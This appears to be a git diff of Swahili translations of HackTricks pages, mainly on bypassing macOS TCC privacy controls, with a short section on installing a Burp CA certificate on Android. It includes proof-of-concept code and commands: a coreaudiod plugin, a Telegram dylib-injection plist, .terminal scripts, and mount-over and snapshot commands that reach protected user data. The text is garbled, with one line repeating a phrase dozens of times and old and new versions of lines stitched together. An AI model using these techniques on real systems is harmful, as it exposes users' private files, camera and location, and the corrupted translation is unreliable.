Sasa, ikiwa unajaribu kutumia variable ya mazingira `MTL_DUMP_PIPELINES_TO_JSON_FILE`, programu hazitazinduliwa
Sasa, ikiwa unajaribu kutumia variable ya mazingira `MTL_DUMP_PIPELINES_TO_JSON_FILE` programu hazitazinduliwa
{% endhint %}
### Apple Remote Desktop
Kama mtumiaji mkuu unaweza kuwezesha huduma hii na **ARD agent itakuwa na ufikiaji kamili wa diski** ambao unaweza kutumiwa vibaya na mtumiaji ili kuifanya ichukue nakala mpya ya **TCC user database**.
Kama mtumiaji wa mizizi unaweza kuwezesha huduma hii na **ARD agent atakuwa na ufikivu kamili wa diski** ambao kisha unaweza kutumia vibaya kufanya ipige nakala ya **database ya mtumiaji wa TCC mpya**.
## Kwa njia ya **NFSHomeDirectory**
## Kwa **NFSHomeDirectory**
TCC inatumia database katika saraka ya HOME ya mtumiaji ili kudhibiti ufikiaji wa rasilimali maalum kwa mtumiaji katika **$HOME/Library/Application Support/com.apple.TCC/TCC.db**.\
Kwa hiyo, ikiwa mtumiaji anaweza kuanzisha upya TCC na variable ya mazingira ya $HOME ikielekeza kwenye **saraka tofauti**, mtumiaji anaweza kuunda database mpya ya TCC katika **/Library/Application Support/com.apple.TCC/TCC.db** na kudanganya TCC ili itoe ruhusa ya TCC yoyote kwa programu yoyote.
TCC hutumia database katika folda ya HOME ya mtumiaji kudhibiti ufikivu wa rasilimali maalum kwa mtumiaji katika **$HOME/Library/Application Support/com.apple.TCC/TCC.db**.\
Kwa hiyo, ikiwa mtumiaji anafanikiwa kuanzisha upya TCC na variable ya mazingira ya $HOME ikielekeza kwa **folda tofauti**, mtumiaji anaweza kuunda database mpya ya TCC katika **/Library/Application Support/com.apple.TCC/TCC.db** na kudanganya TCC kutoa ruhusa ya TCC kwa programu yoyote.
{% hint style="success" %}
Tafadhali kumbuka kuwa Apple inatumia mipangilio iliyohifadhiwa ndani ya wasifu wa mtumiaji katika sifa ya **`NFSHomeDirectory`** kama **thamani ya `$HOME`**, kwa hivyo ikiwa unahatarisha programu na ruhusa ya kubadilisha thamani hii (**`kTCCServiceSystemPolicySysAdminFiles`**), unaweza **kutumia** chaguo hili na kuepuka TCC.
Tafadhali kumbuka kuwa Apple hutumia mipangilio iliyohifadhiwa ndani ya wasifu wa mtumiaji katika sifa ya **`NFSHomeDirectory`** kwa **thamani ya `$HOME`**, kwa hivyo ikiwa unahatarisha programu na ruhusa ya kubadilisha thamani hii (**`kTCCServiceSystemPolicySysAdminFiles`**), unaweza **kuifanya iwe silaha** na kufanya upitishaji wa TCC.
{% endhint %}
### [CVE-20209934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
@ -231,28 +251,43 @@ Tafadhali kumbuka kuwa Apple inatumia mipangilio iliyohifadhiwa ndani ya wasifu
### CVE-2021-30970 - Powerdir
**POC ya kwanza** inatumia [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) na [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) kubadilisha saraka ya **HOME** ya mtumiaji.
**POC ya kwanza** inatumia [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) na [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) kubadilisha folda ya **HOME** ya mtumiaji.
1. Pata _csreq_ blob kwa programu ya lengo.
2. Weka faili bandia ya _TCC.db_ na ufikiaji unaohitajika na _csreq_ blob.
3. Toa kuingia kwa Huduma za Saraka ya mtumiaji na [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
4. Badilisha kuingia kwa Huduma za Saraka kubadilisha saraka ya nyumbani ya mtumiaji.
5. Ingiza kuingia iliyobadilishwa ya Huduma za Saraka na [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
2. Panda faili bandia ya _TCC.db_ na ufikivu unaohitajika na blob ya _csreq_.
3. Toa kuingia kwa Huduma za Anwani za Mtumiaji na [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
4. Badilisha kuingia kwa Huduma za Anwani kubadilisha saraka ya nyumbani ya mtumiaji.
5. Ingiza kuingia iliyobadilishwa kwa Huduma za Anwani na [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
6. Acha _tccd_ ya mtumiaji na zima upya mchakato.
POC ya pili iliyotumika **`/usr/libexec/configd`** ambayo ilikuwa na `com.apple.private.tcc.allow` na thamani ya `kTCCServiceSystemPolicySysAdminFiles`.\
Ilikuwa inawezekana kuendesha **`configd`** na chaguo la **`-t`**, mshambuliaji anaweza kubainisha **Bundle desturi ya kupakia**. Kwa hivyo, shambulio linabadilisha njia ya kubadilisha saraka ya nyumbani ya mtumiaji kwa kutumia **`configd` code injection**.
POC ya pili iliyotumia **`/usr/libexec/configd`** ambayo ilikuwa na `com.apple.private.tcc.allow` na thamani ya `kTCCServiceSystemPolicySysAdminFiles`.\
Ilikuwa inawezekana kuendesha **`configd`** na chaguo la **`-t`**, mshambuliaji angeweza kutaja **Bundle ya kawaida ya kupakia**. Kwa hivyo, shambulio hilo **inabadilisha** njia ya **`dsexport`** na **`dsimport`** ya kubadilisha saraka ya nyumbani ya mtumiaji na **kuingiza msimbo wa configd**.
Kwa maelezo zaidi angalia [**ripoti ya awali**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/).
## Kwa kuingiza mchakato
Kuna njia tofauti za kuingiza namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna
Kuna njia tofauti za kuingiza msimbo ndani ya mchakato na kutumia vibali vyake vya TCC:
{% content-ref url="../../../macos-proces-abuse/" %}
[macos-proces-abuse](../../../macos-proces-abuse/)
{% endcontent-ref %}
Zaidi ya hayo, njia ya kawaida zaidi ya kuingiza mchakato kwa kufanya upitishaji wa TCC iligunduliwa kuwa ni kupitia **plugins (kupakia maktaba)**.\
Vifaa vya ziada ni msimbo kwa kawaida katika fomu ya maktaba au plist, ambayo ita **pakuliwa na programu kuu** na kutekelezwa chini ya muktadha wake. Kwa hiyo, ikiwa programu kuu ilikuwa na ufikivu wa faili zilizozuiwa na TCC (kupitia ruhusa zilizotolewa au haki za kipekee), **msimbo wa desturi pia utakuwa nao**.
### CVE-2020-27937 - Directory Utility
Programu `/System/Library/CoreServices/Applications/Directory Utility.app` ilikuwa na ruhusa ya **`kTCCServiceSystemPolicySysAdminFiles`**, ilipakia programu za ziada na kielezo cha **`.daplug`** na **haikuwa na runtime iliyofanywa ngumu**.
Ili kuifanya CVE hii kuwa silaha, **`NFSHomeDirectory`** inabadilishwa (kwa kutumia ruhusa ya awali) ili kuweza **kuchukua udhibiti wa database ya TCC ya watumiaji** ili kufanya upitishaji wa TCC.
Kwa maelezo zaidi angalia [**ripoti ya awali**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
### CVE-2020-29621 - Coreaudiod
Binaryi **`/usr/sbin/coreaudiod`** ilikuwa na uwezo wa `com.apple.security.cs.disable-library-validation` na `com.apple.private.tcc.manager`. Ya kwanza **kuruhusu kuingiza nambari** na ya pili ikimpa uwezo wa **kusimamia TCC**.
Binaryi **`/usr/sbin/coreaudiod`** ilikuwa na entitlements `com.apple.security.cs.disable-library-validation` na `com.apple.private.tcc.manager`. Ya kwanza **kuruhusu uingizaji wa nambari** na ya pili ikimpa upatikanaji wa **kusimamia TCC**.
Binary hii iliruhusu kupakia **programu-jalizi za mtu wa tatu** kutoka kwenye folda `/Library/Audio/Plug-Ins/HAL`. Kwa hiyo, ilikuwa inawezekana **kupakia programu-jalizi na kutumia ruhusa za TCC** na hii PoC:
Binaryi hii iliruhusu kupakia **programu-jalizi za mtu wa tatu** kutoka kwenye folda `/Library/Audio/Plug-Ins/HAL`. Kwa hivyo, ilikuwa inawezekana **kupakia programu-jalizi na kutumia ruhusa za TCC** na hii PoC:
```objectivec
#import <Foundation/Foundation.h>
#import <Security/Security.h>
@ -279,13 +314,13 @@ add_tcc_entry();
NSLog(@"[+] Exploitation finished...");
exit(0);
```
Kwa habari zaidi angalia [**ripoti ya awali**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
Kwa maelezo zaidi angalia [**ripoti ya asili**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
### Programu za Tabaka ya Kifaa (DAL) Plug-Ins
### Vifaa vya Tabaka la Kusawazisha (DAL) Plug-Ins
Programu za mfumo ambazo hufungua mkondo wa kamera kupitia Core Media I/O (programu na **`kTCCServiceCamera`**) hulipakia **vipengele hivi** katika mchakato uliopo katika `/Library/CoreMediaIO/Plug-Ins/DAL` (hazina kizuizi cha SIP).
Programu za mfumo ambazo hufungua mtiririko wa kamera kupitia Core Media I/O (apps na **`kTCCServiceCamera`**) hulipakia **katika mchakato huu wa programu** viendelezi hivi vilivyoko katika `/Library/CoreMediaIO/Plug-Ins/DAL` (sio kizuizi cha SIP).
Kuhifadhi tu huko maktaba na **constructor** ya kawaida kutafanya kazi ya **kuingiza namna**.
Kuhifadhi tu huko maktaba na **ujenzi wa kawaida** kutafanya kazi kwa ajili ya **kuingiza msimbo**.
Programu kadhaa za Apple zilikuwa na udhaifu huu.
@ -317,17 +352,17 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
</dict>
</plist>
```
Kwa habari zaidi juu ya jinsi ya kuitumia [**angalia ripoti ya asili**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
Kwa habari zaidi kuhusu jinsi ya kutumia hii [**angalia ripoti ya asili**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
### CVE-2020-10006
Binary `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` ilikuwa na uwezo wa **`com.apple.private.tcc.allow`** na **`com.apple.security.get-task-allow`**, ambayo iliruhusu kuingiza nambari ndani ya mchakato na kutumia ruhusa za TCC.
Binary `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` ilikuwa na entitlements **`com.apple.private.tcc.allow`** na **`com.apple.security.get-task-allow`**, ambayo iliruhusu kuingiza namna ndani ya mchakato na kutumia TCC privileges.
### CVE-2023-26818 - Telegram
Telegram ilikuwa na uwezo wa **`com.apple.security.cs.allow-dyld-environment-variables`** na **`com.apple.security.cs.disable-library-validation`**, hivyo ilikuwa inawezekana kuitumia **kupata upatikanaji wa ruhusa zake** kama vile kurekodi kwa kutumia kamera. Unaweza [**kupata mzigo katika andiko**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
Telegram ilikuwa na entitlements **`com.apple.security.cs.allow-dyld-environment-variables`** na **`com.apple.security.cs.disable-library-validation`**, hivyo ilikuwa inawezekana kuitumia kwa **kupata ufikivu wa ruhusa zake** kama vile kurekodi kwa kutumia kamera. Unaweza [**kupata mzigo katika andiko**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
Tazama jinsi ya kutumia mazingira ya env kwa kupakia maktaba **plist ya desturi** iliumbwa ili kuingiza maktaba hii na **`launchctl`** iliyotumika kuizindua:
Tafadhali angalia jinsi ya kutumia env variable kwa kupakia maktaba **plist ya desturi** ilibuniwa kuingiza maktaba hii na **`launchctl`** ilitumika kuizindua:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -357,15 +392,15 @@ Tazama jinsi ya kutumia mazingira ya env kwa kupakia maktaba **plist ya desturi*
```bash
launchctl load com.telegram.launcher.plist
```
## Kwa kufungua mwaliko
## Kwa mwaliko wa wazi
Inawezekana kuita **`open`** hata wakati wa kufungwa kwa mchanga
### Skrini za Terminali
### Skripti za Terminali
Ni kawaida sana kutoa **Upatikanaji Kamili wa Diski (FDA)** kwa terminal, angalau kwenye kompyuta zinazotumiwa na watu wa teknolojia. Na inawezekana kuita skrini za **`.terminal`** kwa kutumia hilo.
Ni kawaida kutoa **Upatikanaji Kamili wa Diski (FDA)** kwa terminal, angalau kwenye kompyuta zinazotumiwa na watu wa teknolojia. Na inawezekana kuita skripti za **`.terminal`** kutumia hilo.
Skrini za **`.terminal`** ni faili za plist kama hii na amri ya kutekeleza kwenye ufunguo wa **`CommandString`**:
Skripti za **`.terminal`** ni faili za plist kama hii yenye amri ya kutekelezwa kwenye ufunguo wa **`CommandString`**:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
@ -383,7 +418,7 @@ Skrini za **`.terminal`** ni faili za plist kama hii na amri ya kutekeleza kweny
</dict>
</plist>
```
Programu inaweza kuandika script ya terminal katika eneo kama /tmp na kuizindua na amri kama:
Programu inaweza kuandika script ya terminal kwenye eneo kama /tmp na kuizindua na amri kama:
```objectivec
// Write plist in /tmp/tcc.terminal
[...]
@ -396,10 +431,10 @@ exploit_location]; task.standardOutput = pipe;
```
## Kwa kufunga
### CVE-2020-9771 - kufunga\_apfs TCC kuvuka na kuongeza mamlaka
### CVE-2020-9771 - kufunga\_apfs TCC kuepuka na upandishaji wa mamlaka
**Mtumiaji yeyote** (hata wasio na mamlaka) anaweza kuunda na kufunga nakala ya wakati wa mashine na **kupata faili ZOTE** za nakala hiyo.\
**Mamlaka pekee** inayohitajika ni kwa programu iliyotumiwa (kama `Terminal`) kuwa na **Upatikanaji Kamili wa Diski** (FDA) (`kTCCServiceSystemPolicyAllfiles`) ambayo inahitaji kupewa na msimamizi.
**Mtumiaji yeyote** (hata wale wasio na mamlaka) wanaweza kuunda na kufunga picha ya wakati wa mashine na **kupata FAILI ZOTE** za picha hiyo.\
**Mamlaka pekee** inayohitajika ni kwa programu iliyotumiwa (kama vile `Terminal`) kuwa na **Upatikanaji Kamili wa Diski** (FDA) (`kTCCServiceSystemPolicyAllfiles`) ambayo inahitaji kupewa na msimamizi.
{% code overflow="wrap" %}
```bash
@ -423,13 +458,11 @@ ls /tmp/snap/Users/admin_user # This will work
```
{% endcode %}
Maelezo zaidi yanaweza [**kupatikana katika ripoti ya awali**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
Maelezo zaidi yanaweza [**kupatikana kwenye ripoti ya asili**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
### CVE-2021-1784 & CVE-2021-30808 - Kufunga juu ya faili ya TCC
### CVE-2021-1784 & CVE-2021-30808 - Kufunika juu ya faili ya TCC
Hata kama faili ya TCC DB imekingwa, ilikuwa inawezekana **kufunga juu ya saraka** faili mpya ya TCC.db:
{% code overflow="wrap" %}
Hata kama faili ya TCC DB ililindwa, ilikuwa inawezekana **kufunika juu ya saraka** faili mpya ya TCC.db:
```bash
# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
@ -454,12 +487,12 @@ Angalia **exploit kamili** katika [**maandishi ya awali**](https://theevilbit.gi
### asr
Zana ya **`/usr/sbin/asr`** iliruhusu kunakili diski nzima na kuimount mahali pengine kwa kuzingilia kinga za TCC.
Zana **`/usr/sbin/asr`** iliruhusu kunakili diski nzima na kuimount mahali pengine kwa kukiuka ulinzi wa TCC.
### Huduma za Mahali
Kuna database ya tatu ya TCC katika **`/var/db/locationd/clients.plist`** kuonyesha wateja wanaoruhusiwa **kupata huduma za mahali**.\
Folda ya **`/var/db/locationd/` haikuwa imekingwa kutoka kwa DMG mounting** hivyo ilikuwa inawezekana kuimount plist yetu wenyewe.
Kuna database ya tatu ya TCC katika **`/var/db/locationd/clients.plist`** kuonyesha wateja wanaoruhusiwa kupata **huduma za mahali**.\
Folda ya **`/var/db/locationd/` haikuwa imekingwa dhidi ya kumount DMG** hivyo ilikuwa inawezekana kumount plist yetu.
## Kupitia programu za kuanza
@ -469,37 +502,23 @@ Folda ya **`/var/db/locationd/` haikuwa imekingwa kutoka kwa DMG mounting** hivy
## Kupitia grep
Katika hali kadhaa, faili zitahifadhi habari nyeti kama barua pepe, namba za simu, ujumbe... katika maeneo yasiyolindwa (ambayo ni dosari katika Apple).
Katika matukio kadhaa faili zitahifadhi taarifa nyeti kama barua pepe, namba za simu, ujumbe... katika maeneo yasiyolindwa (ambayo ni mapungufu katika Apple).
<figure><img src="../../../../../.gitbook/assets/image (4) (3).png" alt=""><figcaption></figcaption></figure>
## Bonyeza bandia
## Bonyeza ya Kisynthetic
Hii haifanyi kazi tena, lakini [**ilifanya kazi hapo awali**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
Njia nyingine kwa kutumia [**matukio ya CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf):
Njia nyingine kutumia [**matukio ya CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf):
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
## Marejeleo
## Marejeo
* [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
* [**20+ Njia za Kudukua Mifumo ya Faragha ya macOS**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
* [**Knockout Win Against TCC - 20+ NEW Ways to Bypass Your MacOS Privacy Mechanisms**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
<details>
<summary><strong>Jifunze kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
* [**20+ Njia za Kukiuka Mifumo yako ya Faragha ya macOS**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
* [**Ushindi wa Kupigwa Dhidi ya TCC - 20+ Njia MPYA za Kukiuka Mifumo yako ya Faragha ya MacOS**](https://www.youtube.com/watch?v=a9hsxPdRxsY)

File diff suppressed because it is too large Load diff

View file

@ -6,22 +6,22 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Kwenye Mashine ya Virtual
## Kwenye Mashine ya Kivitual
Kwanza kabisa, unahitaji kupakua cheti cha Der kutoka kwa Burp. Unaweza kufanya hivi kwenye _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
Kwanza kabisa unahitaji kupakua cheti cha Der kutoka Burp. Unaweza kufanya hivi katika _**Proxy**_ --> _**Chaguo**_ --> _**Import / Export CA certificate**_
![](<../../.gitbook/assets/image (367).png>)
**Pakua cheti kwa muundo wa Der** na **litransform** ili **Android** iweze **kulielewa.** Kumbuka kwamba **ili kuweza kusanidi cheti cha burp kwenye mashine ya Android katika AVD** unahitaji **kuendesha** mashine hii **na** chaguo la **`-writable-system`**.\
Kwa mfano, unaweza kuendesha kama ifuatavyo:
**Eksporti cheti kwa muundo wa Der** na acha **kilibadilishe** kuwa muundo ambao **Android** itaweza **kuelewa.** Kumbuka kwamba **ili kusanidi cheti cha burp kwenye mashine ya Android kwenye AVD** unahitaji **kuendesha** mashine hii **na** chaguo la **`-writable-system`**.\
Kwa mfano unaweza kuendesha kama:
{% code overflow="wrap" %}
```bash
@ -29,7 +29,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
```
{% endcode %}
Kisha, **configure cheti cha burp** kwa kufuata hatua zifuatazo:
Kisha, **configure cheti cha burp kufanya**:
{% code overflow="wrap" %}
```bash
@ -44,39 +44,39 @@ adb reboot #Now, reboot the machine
```
{% endcode %}
Baada ya **mashine kukamilisha kuanza tena**, cheti cha burp kitatumika na hiyo!
Baada ya **mashine kukamilisha kuanza upya** cheti cha burp kitatumika nayo!
## Kutumia Magisc
Ikiwa umefanya **root kifaa chako na Magisc** (labda emulator), na huwezi kufuata **hatua** za awali za kusakinisha cheti cha Burp kwa sababu **mfumo wa faili ni wa kusoma tu** na huwezi kuibadilisha kuwa wa kuandika, kuna njia nyingine.
Ikiwa umefanya **root kifaa chako na Magisc** (labda emulator), na huwezi kufuata **hatua za awali** za kusakinisha cheti cha Burp kwa sababu **filesystem ni read-only** na huwezi kuirekebisha kuwa inayoweza kuandikwa, kuna njia nyingine.
Iliyoelezwa katika [**video hii**](https://www.youtube.com/watch?v=qQicUW0svB8) unahitaji:
1. **Sakinisha cheti cha CA**: Tu **vuta na achia** cheti cha DER cha Burp **ukiubadilisha kwa kuongeza** `.crt` kwenye simu ili iwekwe kwenye folda ya Upakuaji na nenda kwa `Sakinisha cheti` -> `Cheti cha CA`
1. **Kusakinisha cheti cha CA**: Tu **vuta na angusha** cheti cha DER cha Burp **ukiibadilisha kielezo** kuwa `.crt` kwenye simu ili iwekwe kwenye folda ya Upakuaji na nenda kwa `Sakinisha cheti` -> `Cheti cha CA`
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
* Angalia kwamba cheti kimehifadhiwa kwa usahihi kwa kwenda kwa `Imaniwa` -> `MTUMIAJI`
* Hakikisha kuwa cheti kimehifadhiwa kwa usahihi kwa kwenda kwa `Imani credentials` -> `MTUMIAJI`
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Fanya iwe ya kuaminika kwa mfumo**: Pakua moduli ya Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (faili ya .zip), **vuta na achia** kwenye simu, nenda kwenye programu ya **Magics** kwenye simu kwenye sehemu ya **`Moduli`**, bonyeza **`Sakinisha kutoka kwenye uhifadhi`**, chagua moduli ya `.zip` na baada ya kusakinisha **anzisha upya** simu:
2. **Fanya iwe ya kuaminika kwa System**: Pakua moduli ya Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (faili ya .zip), **vuta na angusha** kwenye simu, nenda kwa programu ya **Magics** kwenye simu kwenye sehemu ya **`Moduli`**, bonyeza **`Sakinisha kutoka kwa uhifadhi`**, chagua moduli ya `.zip` na mara baada ya kusakinishwa **anzisha upya** simu:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
* Baada ya kuanza upya, nenda kwa `Imaniwa` -> `MFUMO` na angalia cheti cha Postswigger kiko hapo
* Baada ya kuanza upya, nenda kwa `Imani credentials` -> `SYSTEM` na hakikisha cheti cha Postswigger kipo
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
## Baada ya Android 14
Katika toleo jipya la Android 14, kumekuwa na mabadiliko makubwa katika kushughulikia cheti cha Mamlaka ya Cheti (CA) kinachotegemewa na mfumo. Awali, vyeti hivi vilikuwa vimehifadhiwa katika **`/system/etc/security/cacerts/`**, vinavyoweza kufikiwa na kubadilishwa na watumiaji wenye mamlaka ya mizizi, ambayo iliruhusu matumizi mara moja katika mfumo. Walakini, na Android 14, eneo la uhifadhi limehamishiwa kwenye **`/apex/com.android.conscrypt/cacerts`**, saraka ndani ya njia ya **`/apex`**, ambayo ni isiyo na uwezo wa kubadilika kwa asili.
Katika toleo jipya la Android 14, mabadiliko muhimu yameonekana katika kushughulikia vyeti vya Mamlaka ya Cheti (CA) vilivyothibitishwa na mfumo. Awali, vyeti hivi vilikuwa vimehifadhiwa katika **`/system/etc/security/cacerts/`**, vinavyoweza kufikiwa na kuhaririwa na watumiaji wenye mamlaka ya msingi, ambayo iliruhusu matumizi mara moja kote kwenye mfumo. Walakini, na Android 14, eneo la kuhifadhi limehamishwa kwenda **`/apex/com.android.conscrypt/cacerts`**, folda ndani ya njia ya **`/apex`**, ambayo ni isiyo ya kubadilika kwa asili.
Jaribio la kubadilisha njia ya **APEX cacerts** kuwa ya kuandika hukutana na kushindwa, kwani mfumo haikubali shughuli kama hizo. Hata majaribio ya kufuta au kufunika saraka na mfumo wa faili wa muda (tmpfs) hayazidi kizuizi cha kusoma tu; programu zinaendelea kufikia data ya cheti ya asili bila kujali mabadiliko kwenye kiwango cha mfumo wa faili. Uimara huu unatokana na mlima wa **`/apex`** uliowekwa na usambazaji wa KIBINAFSI, ikihakikisha kuwa mabadiliko yoyote ndani ya saraka ya **`/apex`** hayawaathiri michakato mingine.
Jaribio la kurekebisha tena njia ya **APEX cacerts** kama inayoweza kuandikwa hukutana na kushindikana, kwani mfumo hauruhusu shughuli kama hizo. Hata majaribio ya kufuta au kufunika folda na mfumo wa faili wa muda (tmpfs) hayapitishi kizuizi cha kusoma tu; programu zinaendelea kupata data ya cheti ya asili bila kujali mabadiliko kwenye kiwango cha mfumo wa faili. Uimara huu unatokana na mlima wa **`/apex`** ukiwa umewekwa na usambazaji wa KIBINA binafsi, kuhakikisha kuwa mabadiliko yoyote ndani ya **`/apex`** hayawaathiri michakato mingine.
Uanzishaji wa Android unahusisha mchakato wa `init`, ambao, baada ya kuanza kwa mfumo wa uendeshaji, pia huanzisha mchakato wa Zygote. Mchakato huu unawajibika kwa kuzindua michakato ya programu na kubeba nafasi mpya ya mlima ambayo inajumuisha mlima wa kibinafsi wa **`/apex`**, hivyo kuisolate mabadiliko kwenye saraka hii kutoka kwa michakato mingine.
